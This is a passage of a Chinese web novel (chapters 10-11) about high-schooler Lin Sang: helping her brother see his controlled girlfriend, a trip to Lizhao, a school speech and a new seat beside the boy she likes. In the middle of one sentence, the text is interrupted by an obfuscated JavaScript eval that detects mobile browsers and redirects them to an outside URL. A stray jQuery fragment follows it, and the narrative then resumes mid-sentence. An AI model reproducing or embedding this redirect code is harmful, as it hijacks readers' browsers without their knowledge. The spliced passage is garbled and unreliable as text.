今晚她碰上那样的事,林景一直后怕,他不可能每时每刻都守在林桑身边,云亭不算大,能提上名号的街道一共也就四条,每条都相交,他朋友那么多,总有人会在某个位置,以后林桑碰上什么事他赶不及,他们都能搭把手。 偌大的客厅里陷入寂静,只有微弱的虫鸣时不时透过窗户传进来。 许久之后,林景又问:“能联系上她吗?” 林桑叹了口气,下巴抵在抱枕上说:“联系不上,从我转到一中后就一直没联系上。” 林景“嗯”了一声,又是沉默。 在林桑困到眼皮子直打架的时候,他才终于开口:“金金,帮哥个忙。” 林桑没问是什么,一口答应:“好。” 10. 第 10 章 五个多小时车程,林桑和林景到市里的时候已经晌午。 时间紧迫,两人只来得及在出租车上啃干面包。 林景许是昨晚没休息好,在长途的路程后看起来更疲惫了,林桑低头回完消息说:“亿涵说她爸在家,万一失败了怎么办?” 林景捏了捏眉心说:“确认她没什么事就行。” 他萎靡不振的样子让林桑一时不知道该说些什么,随后一路无言。 两人的目的地是颐龙湾,云城数一数二的别墅区,距离车站有点距离。 四十多分钟后,车在离颐龙湾还有一公里的地方停下,林景下了车,站在车窗外抬头看了一眼说:“去吧,别有压力,我见不见都行。” 知道他故作坚强,林桑笑着朝他敬了个礼,“放心,我一定完成任务!” 林景见状脸上终于有了几分笑容:“行,哥等你好消息。” 出租车继续往前行驶,后视镜里林景的身影越来越模糊,逐渐变成一个黑色的小圆点,林桑惆怅地收回眼。 一下车,林桑就看到了在前方等待的汪亿涵。 汪亿涵兴奋地朝她招手,林桑快步跑过去,一把将人抱了个满怀。 “累不累啊?” 林桑点头,诚实道:“有点。” 汪亿涵笑了笑:“先去休息一下,知道你要来,我让阿姨准备了很多好吃的。” 林桑挽着她的胳膊,头靠在她肩上,“嘿嘿”傻笑两声:“你真好。” 两人边说边走,汪亿涵有些心不在焉,林桑一眼便知道她在想什么。 “他怕被发现,在外面等着呢。” “你能出去的概率大不大啊。” “不出意外应该能。”汪亿涵说,“就是时间不长。” 林桑提着的一颗心总算放下一半:“能出去十分钟我都满足了。” 汪亿涵家很快就到,还真如她所说,一进门阿姨就端了很多吃的上来,搞得林桑都有些不好意思。 阿姨把东西都端上来后就去忙其他事了,客厅里只剩下她俩,林桑环顾四周,虽然没什么人,她还是小声问:“你之前至少半个月会回次消息的,这次咋这么长时间没回,是不是出什么事了?” 汪亿涵给她倒了杯花果茶说:“你不用这么小声,他在楼上开会,听不到。” “能出什么事,我妈联系我,手机就彻底被他给收了,要不是今天早上得在群里提交作业,都不知道什么时候才会还我。” 虽然来之前林桑就大致猜到了原因,但这会儿答案从她口中轻描淡写地说出来,林桑还是有些震撼,更多的,则是感到心疼。 汪亿涵爸妈在她们上初二那会儿离婚,两人为了汪亿涵的抚养权打了不少官司,后面一直折腾到他们上了高中判决结果才出来,汪亿涵爸爸当天就办理了转学带着她从云亭来到云城。 到了云城后,汪亿涵被迫切断了和所有人的联系,每天除了上学就是补习,上各种礼仪课和兴趣班。在确定妈妈不会联系到她后,她才又拥有了手机使用权,至于多久使用一次,全看汪束的心情。 汪亿涵早已习惯了这些,她没等林桑说什么又接着道:“这都快两个月了吧,有没有什么有趣的事说来听听。” 林桑怕疏漏了什么,从兜里摸出手机,翻出两人的聊天记录,滑到汪亿涵上一次回复她消息的时间后把手机递给了她。 汪亿涵看着记录,时不时问她这件事发生时她是什么心情。 还是和过去一样,她问,林桑答,她点评,两人一起笑。 只不过从过去的隔着屏幕换成了面对面。 她也就每周五回家才有机会给汪亿涵发消息,没一会儿就翻到了底,汪亿涵有些意外:“所以你们现在一个班了,你就没主动出击过?” 在汪亿涵面前,林桑也没什么好隐瞒的,面上腾地一热:“我出击什么啊,一见到他就紧张。” “每次跟他有点接触,哪怕只是远远的,不经意地对视一眼,我都脑子一片空白,偏偏每次都得装得像个没事人一样。” “还老是容易多想,他顺手帮我点什么,我就能一个人在脑子里演完一部剧。” “我懂。”汪亿涵点点头说,“但你有没有想过,你一直这样也不是个事。” “万一真像你说的,主动追他的人那么多,真有人成了,你到时候上哪哭去。” 林桑双手托着脸,认真道:“那我也认。” “认个屁呀!”汪亿涵屈指在她额头敲了一下,“你都没试你认个什么,真到了那个时候你会认我跟你姓!” 林桑撅着嘴,语气委屈可怜:“可我都没能在他面前好好介绍过自己,我们现在就是不生不熟的关系,我不知道怎么进展下一步……” “而且,不知道为什么,每次想跟他关系近一点的时候,我就会想到我们初中那会儿那个女生。” 那个女生进校时就是年级前五,后面每一次考试也都能保持在这个水平,直到初二下学期,因为早恋成绩一落千丈,从被人夸赞到令人唏嘘不过短短一个月的时间。 原本轻轻松松能上重高的人后来家里只能想办法砸钱让她去了私高,去了不到两个月就因为屡次偷跑出校见男朋友被学校劝退…… 林桑和那个女生经常讨论题,关系还不错,一直都为她感到惋惜,每次光是一想到这件事就毛骨悚然。 她不觉得爱情是一个人的全部,如果拥有所谓的甜蜜爱情要牺牲她过去所有的努力,牺牲她走向顶峰的未来,不管对方是谁,她在喜欢他的过程中内心有多酸涩难忍,她都宁愿不要。 汪亿涵沉默了一瞬:“我当然不是鼓励你去早恋,就是吧……” 她想了想又继续道:“你现在一直犹豫,等犹豫到高考结束再开口,这还有两年多呢,一分一秒都有变数,以年为单位会发生些什么,你敢想?” “没有任何感情基础去表白,成功的概率基本为零。” “你先试着试探试探,然后像你哥和我一样啊,约定好毕业之后再在一起。” “况且,以我对他的了解,他不会拖你下水。” “倒是可能和你成为一起并肩作战的队友。” 汪亿涵从果盘里叉起一块苹果喂给她,恨铁不成钢道:“还有啊,你对自己的自制力就这么没自信?” 林桑:“……” 内心竟有了一丝动摇,林桑缓慢嚼着苹果,有些苦恼地说:“我试试吧,但我除了请他吃个饭,就不知道还能做什么了。” 汪亿涵叹了口气,笑:“行啦,我又没说你一定得按我说的做,就是怕你以后发现已经来不及了偷偷哭鼻子才给你支招的。” 林桑垂下眼,轻叹道:“我以前想过很多次,如果真到了什么都来不及的那一天,难过肯定会有,但我不会后悔。” “毕竟,以后日子那么长,路那么远,我还会遇到很多人呢。” “总不能一辈子都耗在他身上吧。” 汪亿涵点头:“具体想怎样就看你喽,反正你怎么选我都支持你!” “……” 楼上传来脚步声,两人齐刷刷抬头循声看去,汪束身上一套深蓝色西装,低头扣着纽扣下楼。 林桑正襟危坐:“汪叔叔好。” 汪束抬眼,笑道:“小林到了啊,她没亏待你吧?” “没有没有。”林桑说着揉了揉肚子,“至少吃胖了两斤呢。” 汪束看上去心情颇好,被她逗得直笑,“没有就行。” 他说完,抬手看了眼腕表,又看向汪亿涵,“我有个饭局,你一个小时后准时回来,我会看监控。” 汪亿涵垂着眼,指甲几乎陷入肉里,两秒后她抬起头,满脸笑容:“知道了,谢谢爸爸。” 汪束走后,林桑整个人瘫进沙发里,汪亿涵看她这样,忍不住大笑起来。 “你以前不是说感觉我爸压迫感十足,不敢跟他说话么,怎么刚刚还跟他开起玩笑来了?” 林桑盯着天花板:“我这不是想着逗他开心说不定就能让你多出去一会儿。” “那走吧,多在家一秒就少了一秒玩的时间。”汪亿涵说。 林桑直起身,指着矮几上的东西说:“我能不能带一份出去,我怕我哥……” 汪亿涵轻笑:“我早单独打包好了,怎么会忘了他。” …… 汪束让司机送她们去游乐园,林景只能提前进园等她们。 隔着老远林桑就看到坐在树下的林景,他没玩手机,一直盯着人流,看到她们时,原本颓败感十足的人像是迅速充了电,鲜活了不少。 林桑不想当全游乐园最大的电灯泡,让汪亿涵独自过去找林景,自己则跑去玩项目。 这个游乐园她来过很多次,最喜欢的就是跳楼机和碰碰车。 林桑和一群小孩玩了几轮碰碰车,后面一直被围攻,实在体力不支投降后那群小孩才放过她。 时间过去了半个小时,也不知道林景和汪亿涵那边怎么样了,她打开手机准备给林景发个消息问问,那头林景先发了消息过来说他们去坐摩天轮,问她要不要去。 林桑立马拒绝,那头没再回,她从聊天框退出来,顺手点开动态。 滑了几秒,熟悉的蓝色头像和备注跳了出来。 【Banana:洱宝话梅果然是晕车神器,差点人没到理诏就晕死在路上。】 配图是动态主人手里捏着一包拆开的洱宝话梅,他微微偏着头靠在椅背上假寐,因为戴了帽子,只露出线条流畅的下颌。 林桑垂着眼,沉默地看了一会儿。 心想,他去理诏了啊…… …… 看着汪亿涵上车后绝尘而去,林桑才转身走到躲在远处的林景身边。 “想去哪玩,我看看现在订票来不来得及,过去机场也没多长时间。” “理诏。”林桑说。 林景蹙眉:“都去几回了,不腻?” “不腻。” “你倒是会给我省钱。” “行吧,今晚就走还是明天再说?” “明天吧。”林桑说,“再坐车我要散架了。” 林景笑着帮她捏肩:“哥对不起你,走走走,先带你去吃好吃的。” * 林景一到理诏办理完入住就睡死了,林桑怎么敲门都没用,打电话也没接,只能发消息跟他说她出去逛一逛。 两人住的是一家湖边民宿,以前每次来都是住的这,她对这一片很熟。 林桑轻车熟路地摸去租了一辆自行车,绕着湖边缓慢骑行。 一路上都是骑行的人,有人时不时会停留在某个位置看风景或是拍照,慢悠悠地享受着这惬意的时光。 理诏的天比云亭凉爽,正午的太阳打在身上也没那么热,暖洋洋的,很舒服。 林桑骑到半路,身上才慢慢热了起来,喉咙发干,渴得厉害。 附近有家咖啡店,林桑把自行车停在门口,走近时听到几道熟悉的声音从楼上传来。 她点完餐坐下后,抬眼发现楼上正是沈听原和游书涧,旁边还有个带着大遮阳帽的女生,看不到脸,但通过声音和身形,林桑辨认出那是杨思怡。 这家咖啡店不大,做了上下层但没做分隔,他们的谈话一字不落全进了她的耳朵。 “我小时候跟外婆外公生活在榆城那会儿,要什么有什么,真有点被惯坏了,也没什么愿望。” “跟我爸生活后也差不多,一直到我叛逆期被他发配回云亭,当时那个气啊,就想找个地方烂一辈子。” “那时候来的就是理诏,风景好,生活节奏慢,我突然就有了梦想。” “怎么,在这买套房烂一辈子?”游书涧笑问。 “俗。”沈听原说,“我要在这开一家大民宿。” “知道富二代最不能做的是什么吗?” 沈听原:“什么?” 杨思怡抢先回答:“自主创业。” 游书涧点头,和杨思怡击了个掌:“英雄所见略同。” 沈听原笑着骂:“滚啊。” “我可没说要靠老瞿。” “……” 林桑选的是外带,后面他们又说了些什么,就无从得知了。 她没在外面待太久,云城到理诏三个多小时车程,早上早起赶车,刚到那会儿跟打了鸡血似的,现在倒是困得不行,骑着车都快睡着的程度。 林桑还完车后就回了民宿,等她一觉睡醒,已经下午。 房门适时被人敲响,林桑趿着拖鞋去开门,看她哈欠连天,林景斜倚在门框上:“要不你再睡会儿?” “睡够了。”林桑伸了个懒腰说,“我头都晕了。” “那收拾收拾,出去逛逛,顺便找个地方吃饭。” 林桑也没什么要收拾的,洗了把脸换好鞋子就下了楼。 两人一到门口就遇到了熟悉的人。 打了声招呼后,得知他们也要出门吃饭,两人行变成了五人行。 地点是林景挑的,到饭店后,服务员带着他们到冷藏柜前点菜。 林景随意瞥了眼:“两份番茄炒蛋,一份薄荷炸排骨,再来份腌菜炒肉,其他的你们随便点,一会儿我买单。” 游书涧挑眉:“林老板大气!” “给我来个海菜芋头汤,我就馋这口。” “你们呢?”林景看向沈听原和杨思怡。 沈听原扫了一眼冷藏柜里的菜,又抬头看了眼墙上贴的特色菜图片,“来个砂锅鱼吧,你们能吃辣吗?” 四人同频点头,沈听原又道:“多加辣。” 他说完,杨思怡开口道:“想吃点酸辣的,我要个凉拌菜。” 点完餐坐下,林桑拆着碗筷的包装袋,她拆完,林景十分顺手地接过帮她用茶水烫了一遍。 坐在她身侧的沈听原也同样帮着杨思怡烫好碗筷摆好。 游书涧:“……” 敢情他成了多余的那一个。 他三两下拆了包装,烫洗的时候带了怨气,林景抬眼:“怎么,这碗筷跟你有仇?” 游书涧:“仇大着呢。” 林景:“多大你都忍着,我可不想搭一份碗筷钱进去。” 游书涧:“滚滚滚,谁缺这点钱。” 桌上的人都笑出声,话匣子一下子打开,聊了许久,菜总算上齐。 林景旁若无人地端起一份番茄炒蛋将里面的鸡蛋悉数挑到林桑碗里,剩下的番茄则一股脑倒进自己碗里。 游书涧往嘴里塞了一块炸排骨,不解道:“你两一个喜欢吃鸡蛋,一个喜欢吃番茄,直接让老板分开炒不就行了,挑来挑去多麻烦啊。” 林景“哼”了一声:“你当我爱吃,她嘴挑着呢,就爱吃番茄炒蛋里的鸡蛋。” 游书涧乐了:“学霸挑食的方式还挺不同寻常哈。” 杨思怡也笑着接话:“还蛮可爱的,是吧?” 她说着看向沈听原,林桑听到沈听原若有似无地笑了一声:“嗯。” 林桑有些不好意思,戳着碗里的鸡蛋没说话,好在游书涧又挑起了新话题,杨思怡和林景都加入到话题中。 耳边有一道很轻的声音飞速略过,快到她来不及捕捉,来不及确认他是不是真的说了话。 轻飘飘的两个字,林桑慌乱了半晌,趁着听杨思怡说话偏头,发现沈听原并没有什么反应,安静地吃着饭听他们说话。 她更加确信那是错觉,亦或是她的脑补。 他说—— “可爱。” 怎么可能呢。 林桑不禁为自己惊人的脑补能力感到好笑。 * 五一假期一共五天,从理诏回来后,后面几天林桑都待在何爷爷的副食店里,柳靳于刚放假那会儿去徒了个步,回来之后也每天赖在店里,和她一起做完假期作业后见她买了辅导资料自己刷题,二话不说跑去了书店。 林桑看着柳靳于一口气打开三本辅导资料,这本写一题,那本写一题,再看看柜台上堆得像座小山的辅导资料,嘴角抽了抽:“不至于吧。” “至于。”柳靳于一脸凝重。 “你每次考试稳定发挥,考文科总分直接甩第二名15分,考理科也能甩人8分。” “我可听说了,那个李宇栖常年霸占年级第一,文科可能比不上你,理科那是向来一骑绝尘,这你都能超……” 他顿了顿,竖起大拇指道:“我是真服。” 林桑疑惑:“这跟你买一堆辅导书有什么关系?” 柳靳于叹了口气:“我妈估计是从你妈那知道你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780579|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成绩了,再一看我,年级五十外徘徊,以为我转学就是为了偷懒,松懈了,又想把我整回去。” “我当初吊车尾进的珍珠班,每次考试不也年级五十开外,她都没觉得有什么,来了一中倒好,明明和以前一样,劈头盖脸给我一通骂。” “我可是好说歹说才求了个机会。” “你答应阿姨什么了?” “下次月考进年级前三十,一直保持到高考结束。” 林桑研究过成绩单,一中厉害的人一抓一大把,竞争蛮激烈的,以柳靳于现在的情况,想一步跨进年级前三十不是件容易的事。 “慢慢来吧。”林桑说,“你同时写三本,写完也没用啊。” 柳靳于趴在桌上看她:“道理我都懂,可我真不想回珍珠班了,我会死的,金金。” “你忍心看我回去送死啊?” 林桑:“……” 她沉默了一会儿:“你还跟以前一样有什么不会的来问我不就行了。” 柳靳于:“我不是经常问着呢。” 林桑无言,再度沉默。 几秒后,她真诚提议道:“要不你去报补习班吧。” 柳靳于闻言笑:“找补习老师还得跟人磨合,太慢了,你给我补呗,最好多跟我分享点诀窍。” 林桑无奈点头。 倏地,柜台被人轻轻叩了两下,林桑抬起眼,猝不及防撞上沈听原的视线。 沈听原一张脸藏在深蓝色鸭舌帽下,身上穿了一件蓝色T恤,下身依旧是一条黑裤。 这身装扮,林桑莫名觉得有些眼熟。 他接着电话,脸上带笑:“来包云烟。” 这还是他第一次来这里买东西。 林桑愣了一瞬才打开玻璃柜,从里面拿出一包云烟递给他。 不知道电话那头的人说了什么,沈听原不耐地说了声“麻烦”,又低声对林桑说:“麻烦换包利群。” 林桑这次速度很快,把利群放到柜台上后,沈听原递了五十块钱过来,林桑给他找完钱,他道:“谢谢。” 林桑:“不客气。” 沈听原的身影渐行渐远,林桑看着他离开的方向,想到他方才那般疏离客气的姿态,心像是被人狠狠揪了一把。 她以为,接触这么长时间,他们的关系,应该比以前稍微近了一点点…… 林桑忽觉自己是个十分矛盾的人,几天前在汪亿涵面前清醒洒脱,面对他时,却又忍不住怯懦拘束。 她一时间忘了收回视线。 柳靳于目光在那个逐渐缩小的身影和眼神呆滞的林桑身上不停梭巡,张了几次口,却什么都没说。 * 林桑在星期天上晚自习前被陈雪叫到了办公室。 学校每次升旗结束后,都会有学生上台演讲这个环节,一个班挑一个学生轮着来,林桑来之前高一已经轮完一次,直到这周才又轮到他们班。 选人也没什么复杂的机制,无非就是看成绩,所以陈雪希望这次的演讲由她来进行。 这对林桑来说不是什么难事,她从小到现在经历过的大大小小的演讲数不胜数,她很爽快地应了下来。 学校其实很少组织活动,偶尔几次也都是文艺表演,大部分学生都缺乏上台锻炼的机会,所以经常有人上台后紧张到自己写的演讲稿都念得磕磕巴巴。 每到这个时候,台下的学生都会用掌声来鼓励,但校长哪管这些,当场黑脸不说,事后还会找上班主任批评这么重要的时候挑个话都说不利索的人上台,万一有领导来,影响多不好。 因此,林桑应下后,陈雪特意嘱咐了很多遍,让她提前写一份跟学习心得相关的演讲稿,至少能讲三分钟的那种,写好后多熟悉熟悉。 林桑已经很久没写过演讲稿,尤其是跟学习心得相关的,她从初中那会儿就已经有了自己的模板,几乎是张口就能来。 不过,因为陈雪说要提前过目,她还是规规矩矩写了满满一页。 原本也没什么感觉,真到了上台前,她竟还有点小小的紧张。 和方倚霏一起下楼往升旗处走的时候,林桑忍不住说:“我竟然有点紧张。” “你不是说习惯了吗,看你一直很淡定,我还挺佩服的。” 林桑:“可能换个新环境得先适应一下。” “我以前上台表演只要看不到台下的人就不会紧张,你之前试我眼镜不是说你不近视戴着又晕又看不清东西么,要不我把眼镜给你?” “还是算了,”林桑说,“一会儿就缓过来了,要是戴眼镜上去,别说台下的人了,我恐怕连路都看不清,当着全校的面摔个狗啃屎多丢脸啊。” 方倚霏大笑:“哈哈哈哈,我脑子里已经有画面了。” “为了你的面子,咱还是选择克服一下,加油!” 林桑不用去集队,方倚霏走后,她独自站在主席台旁边的空地上待命。 升旗结束后,校长简单讲了两句便让林桑上台,林桑上台接过话筒,朝校长鞠了一躬,又转身对台下鞠躬,待她站直,台下的人才发现她压根没带演讲稿。 台下哗然一片,之前那点小紧张早已淡然无存,林桑试完音开口,终止了台下的声音。 “各位老师、同学,大家上午好,我是高一251班林桑,很荣幸今天能站在这里和大家分享学习心得。” “我的学习心得其实很简单,概括来说就是不断试错积累,找到适合自己的,效率高且付出与收获能成正比的学习方式。” 紧接着,林桑简单分享了她摸索过程中的规划和遇到过的一些问题以及解决方案。 “学习是个持久战,需要投入大量的时间和精力,偏偏有时候付出很多却毫无收获,特别影响心态。所以,今天有幸站在这里,我真正想对大家说的,不是这个心得,而是接下来的话。” “各位同学要是还没找到适合自己的学习方式,觉得学累了,觉得一时迷茫了,觉得前路未卜不想坚持了,别急着催自己闷头往前走,不妨停下来放松放松,可能某个瞬间一抬眼,那条满是迷雾的路,就艳阳高照了。” “任凭黑暗贯穿心脏,黎明终会携繁花而来。” “祝大家都能亲手撕破阴霾,找到属于自己的方向,渐入佳境,一往无前,自在摇曳!” “我的演讲到此结束,谢谢大家!” 台下的气息凝滞了一瞬,继而掌声滔滔不绝,一阵赛过一阵。 校长上台,不知道是真觉得林桑说得好,还是因为她的成绩而无限宽容她,面对她不念演讲稿,演讲时间不足三分钟的行为,愣是夸了她好几句才开始下一个流程。 演讲完后林桑不用归队,等升旗仪式结束后,她站在主席台边等方倚霏,方倚霏大老远就扑了过来:“厉害啊你,演讲稿都没用。” 林桑:“本来站着就烦,长篇大论说一堆谁也不乐意听,还不如长话短说,速战速决。” 方倚霏笑:“道理谁都懂,一看校长顶着张大黑脸站旁边,放慢语速都得拖到三分钟。” “你说结束的时候可吓死我了,不过校长竟然没黑脸,还挺难得。” 两人说着,游书涧从林桑身边晃过,两秒后倒退回来给她竖了个大拇指:“牛!” “是吧,九分哥?” 他后半句是看着林桑身后说的,她下意识偏头,沈听原就在离她不远处,闻言看了过来。 短暂的对视过后,沈听原眉眼含笑:“挺酷的。” 林桑冲他笑了一下,快速转回头。 内心那股雀跃,再多一秒,就快喷涌而出。 …… 下午放学后,校园广播准时响起。 负责广播的同学念完事先准备好的稿子后,开始了每日点歌环节。 放前面几首歌的时候林桑在食堂吃饭,食堂人群熙攘,歌声传到她这边时断断续续的。 回教室拿了书到老地方背书时,广播里传来杨思怡的声音。 清晰,明亮。 “匿名点歌,鹿晗的《勋章》。” “来稿同学留言——” “今天的你依旧很酷,我想,这一天是你的万千勋章之一。” 歌声响起,耳边杂乱的交谈声小了不少。 林桑打开书,心想这个投稿人还挺有意思的。 11. 第 11 章 一阵密布的小雨来去匆匆,天空又恢复了蔚蓝色,白云浮动。 天重新放晴,体育课正常进行。 教室里欢喜一片,班上的同学都纷纷下楼往操场跑。 林桑和方倚霏她们一起下楼,适珈蓝想起去办公室取作业时听到的事,开口道:“听说陈姐打算重新排座位。” 方倚霏疑惑:“咱们班这个座位不是从上学期开学那会儿就定了么,怎么突然想起来换了?” “谁知道呢,”适珈蓝说,“也不知道要怎么排。” “……” 体育课结束后正好是陈雪的课,她们的疑虑也在上课前有了答案。 陈雪站在讲台上,手里捏着一沓纸,看上去是成绩单。 “鉴于部分同学成绩一直没什么起色,我打算这周把座位重新排一遍。” “我想了一下,就这么着吧,互帮互助制度,举个例子就是你英语差的话,我安排个英语好的同桌给你。当然,别人帮你不是理所应当的,不能一味地只知道索取,要是学习上帮不上什么忙,其他时候能帮就顺手帮一把。” “有想法的同学可以私下到办公室找我商量,否则我就按成绩单自己排了,到时候再说想换可就来不及了啊。” 班上的同学都议论纷纷,陈雪由着他们讨论了一会儿才维持秩序开始上课。 下课后,适珈蓝还挺担心自己和鲁琳被分开的,她们成绩都很平均,偏科不严重,甚至每次考试排名都是不是你前就是我后。 她们着急,再反观林桑和方倚霏,一个比一个淡定。 适珈蓝:“你俩不怕被分开啊?” 方倚霏无所谓地耸耸肩:“怕啥,我物理严重偏科,旁边坐的可是年级第一,给我补习绰绰有余呢,陈姐怎么可能把我们分开。” 事实是,还真能。 方倚霏一脸郁闷地看着林桑收拾东西,觉得脸被打得啪啪响。 “陈姐究竟怎么想的,咱们犯得着分开?” 林桑缓慢收着东西,心不在焉地回:“对啊,犯不着。” 看她一直慢吞吞的,方倚霏凑到她耳边小声说:“怎么,紧张啊?” 林桑耳朵热得厉害,硬着头皮否认:“我才没有。” “那你平时收拾东西多利索,今天怎么这么慢?” 林桑顿了一下:“我……我就是……怕忘了东西。” 方倚霏没拆穿,忧虑道:“也不知道我新同桌是谁。” 陈雪像是决定好一组后马上就通知人换座位,她的课结束后下午还有两节课,每节课下了都有人换座位,这会儿吃完饭回来,只有林桑收到通知。 陈雪这一招,比拆盲盒还要刺激。 没收到通知的只能眼巴巴地等。 林桑基本收拾完,有人站在旁边,头顶一道声音压了下来:“收完了?” 林桑抬眼,发现李宇栖手里抱了放书的纸箱,“收完了,你这是……” “哦,刚上楼的时候陈姐通知我换位来着。” “换到哪啊?” 李宇栖把纸箱放在桌上,答案显而易见。 林桑偏头看了眼方倚霏,发现她不知何时一本正经做起了题。 林桑点头:“我马上搬。” 她站起身,把书包放到桌上,准备先将放书的箱子搬过去。 “我帮你。”李宇栖说着伸手准备去抬林桑放在桌上的纸箱,却被人抢了先。 两人同频朝那人看去,沈听原低眉笑了一下:“我来就好,以后还得靠你帮忙,也没什么好回报的。” 他说完就抬着纸箱自顾自回了座位,李宇栖勾唇看了一眼,又看向林桑:“怎么,舍不得这个位置啊?” 林桑手揪着书包带:“没有。” 李宇栖:“那快搬吧,我还等着换完座位睡个觉呢。” 林桑“哦”了一声,背上书包,提起地上的袋子,往沈听原所在的方向走。 收假后又换了组,中间两组被换到了两边,而他们则被换到了中间,只是沈听原所在的是靠门边第二组最后一排,她是第三组第二排。 沈听原的同桌下午最后一节课结束后就收到了换座位通知,这会儿东西早已经收拾干净。 林桑尽量往边上坐,把书包和袋子里的东西都拿出来放到桌肚里。 把东西都放好后,因为他帮忙搬了书,林桑纠结着要不要主动和沈听原搭话,犹豫半晌,倒是沈听原先开了口:“话说你坐最后面能不能看清,不能的话我去找陈姐,让她重新排一下。” 林桑下意识“啊”了一声,“不用,之前也坐过最后一排,而且我不近视。” 沈听原点头:“那就行。” 随后,无言。 她抬头看了一眼,哪怕李宇栖趴在桌上睡得很香,方倚霏还是保持着原来的姿势,像块木头一样直愣愣地坐在座位上低着头做题,而适珈蓝和鲁琳还真如她们所料被分开了,两人都和新同桌聊着天,看来是都不打算下楼去背书了。 林桑收回眼,翻出一本辅导资料开始刷题。 晚自习照常是老师讲了一会儿就让他们自己自习,即使重新排过座位旁边都不是之前熟悉的人,教室里也依旧很热闹。 老师一走就从窃窃私语到侃侃而谈。 整个教室里,只有两个位置是最安静的,安静到像是候车厅里临时坐在一起的陌生人。 …… 晚上回寝室的路上,方倚霏一直喋喋不休说个不停,看样子是真被憋急了。 “天啊!菩萨啊!换座位怎么不提前通知我,好歹让我有个心理准备。” “你知不知道我有多紧张,我感觉我全身都僵硬了,血液都停了的那种。” “别说讲话了,我头都没敢往他那个方向偏。” “话说,你怎么什么反应都没有?” 林桑笑了一下,随口道:“可能之前给他讲过几次题,习惯了,不至于像你这么紧张。” 方倚霏整个人靠在她身上,跟没了骨头似的:“早知道会有今天,以前和他接触的时候就不想那些小心思了,不然也不会是这幅没出息样。” “你说……他会不会看出来啊?” 林桑也说不上来,为了安抚她的情绪,宽慰道:“放心吧,不会的。” * 林桑和沈听原之间的沉默便没有因为时间的推移而改善。 沈听原下了课就照常像以前一样往门外跑,在栏杆上靠着跟人聊天,上课铃声响起时才会踩着点进门。 同桌一周有余,说过的话寥寥无几,他们之间的交流还没以前不是同桌时多。 方倚霏惊讶:“不是吧,我跟班长都已经混熟了,他现在还给我讲题呢。” “不是互帮互助么,他以前还会跑来问你题,现在天时地利人和的,怎么不问了。” “不太对劲。” 林桑觉得她脑回路还挺清奇的:“哪不对劲?” 方倚霏皱着眉想了半天:“说不上来。” “反正……我就觉得怪怪的。” 这种状态又维持了一周,旁边的同学一下课就找她问题,时不时聊聊天,林桑和他们打成了一片的时候,沈听原突然不往外面跑了,每天下课后雷打不动坐在座位上。 不睡觉,不看书,不聊天,就那么干坐着。 这天,林桑刚给坐在前面的男生讲完题,手被人用笔轻轻戳了一下。 林桑偏过头,沈听原推了一份试卷过来,是上次月考的英语卷子。 “林同学,能求个听力提分技巧吗?” 他右手支着脑袋,歪着头看她,笑得满目春风。 林桑呼吸窒了一瞬,移开眼,拿起桌上的试卷问:“你上次听力多少分?” “十二分吧。”沈听原说,“比起上一次进步了三分。” 林桑每次看成绩单都会看他的成绩,那几组数字她倒背如流。 沈听原的成绩一直都不错,在年级上的排名也是能保持在五十以内。 林桑回想一番,他上次英语总分好像是九十二分,再上一次,是八十一分…… 可八十一分那次,他因为帮忙听力只听了六题,考了九分总分都能达到这个水平,上一次没什么意外,不管是听力还是总分,都应该比现在高才对。 林桑心里虽有疑虑,但怕戳到他的伤心处,想了想问道:“这个听力,你听懂了多少?” 沈听原答得很快:“衬衫的价格为九磅十五便士,所以你选择C项。” 林桑:“……” 林桑本以为他在开玩笑,偏偏他回答时不带半分犹豫,表情也百分百认真。 想到英语老师说过的话,以及之前吃饭时他说过只听了六题算下来是满分,她只当沈听原这次真没怎么听懂,所以用玩笑来掩饰,为自己保留几分颜面。 这个想法她又不能问出口,林桑一时词穷,无言可对,咬唇盯着手里的试卷。 思索了一会儿,她总觉得,这话听起来有种久远的熟悉感。 一想好像是在附中那会儿,有次去办公室取卷子的时候撞见几个男生挨训。 那几个男生听力没听就直接涂完整张答题卡,听力甚至涂了D选项,把老师气到两眼一抹黑。 后来老师还是耐心地问了他们一句听力听懂了多少,结果人都很诚实地说就听懂了试音部分。 当时老师是怎么说的来着,哦,发了很大的火,她总不能对着沈听原发火吧。 林桑在心里组织语言,沈听原哪知道她在想什么,见她一筹莫展地看着自己的试卷,只能小心翼翼地问:“是不是没见过英语比我更差的人了?” 林桑放下试卷,认真道:“没有,你其他都挺不错的,只是听力欠了些火候。” “我还见过整份卷子只考你听力这个数的。” “你这个成绩,不错了。” “那单看听力来说呢?” 林桑还真被问住了,她停顿两秒,委婉地道:“进步空间很大。” 沈听原噗嗤一声笑了出来:“看来我还没到无可救药的地步,不过话说回来——” 他顿住,指尖在试卷上轻点:“林同学是怎么知道我其他都挺不错的?” 他着重强调了“其他都挺不错”这几个字,林桑有种封存在蜜罐里的秘密快要被人戳破的感觉。 怕被察觉,她不敢看他,视线重新落在试卷上:“之前对班上同学的学习情况不熟悉,研究过成绩单。” “这样啊,”沈听原勾唇,“学霸记性就是好。” “那以后就麻烦了。” “不麻烦。”林桑说着,从书箱里拿出一本迷你笔记本递给他,“这上面记了一些和听力相关的,你先看看。” “其他的……等我再研究研究。” 沈听原接过她手中的笔记本,笑道:“行,那就先谢谢林同学。” * 自那天后,沈听原开始和其他同学一样经常问她题,在路上遇到时,沈听原会主动和她打招呼不说,周末他还会跑去万顺副食店买烟,每次顺手买点小零食,走之前都会给她留一份。 短短几天的时间,他们变得像是关系很好的密友。 林桑存了私心,专门根据他的情况帮他制定了一份听力提分手册。 沈听原收到的时候,讶然道:“是每个找你问提分技巧的人都有吗,还是只有我有?” 为了掩人耳目,林桑十分自然地将提前演练过多次的借口说了出来:“这个是我自己用的,分数上来后就放家里了,周末回家翻出来的,比之前给你的那本笔记记的全。” 沈听原垂眼看着手里有些旧的淡粉色笔记本,眼神有一瞬落寞,转过头看向她时,脸上又洋溢着笑:“有心了。” “你周末有空的话,我请你吃个饭,一直这么麻烦你,挺不好意思的。” 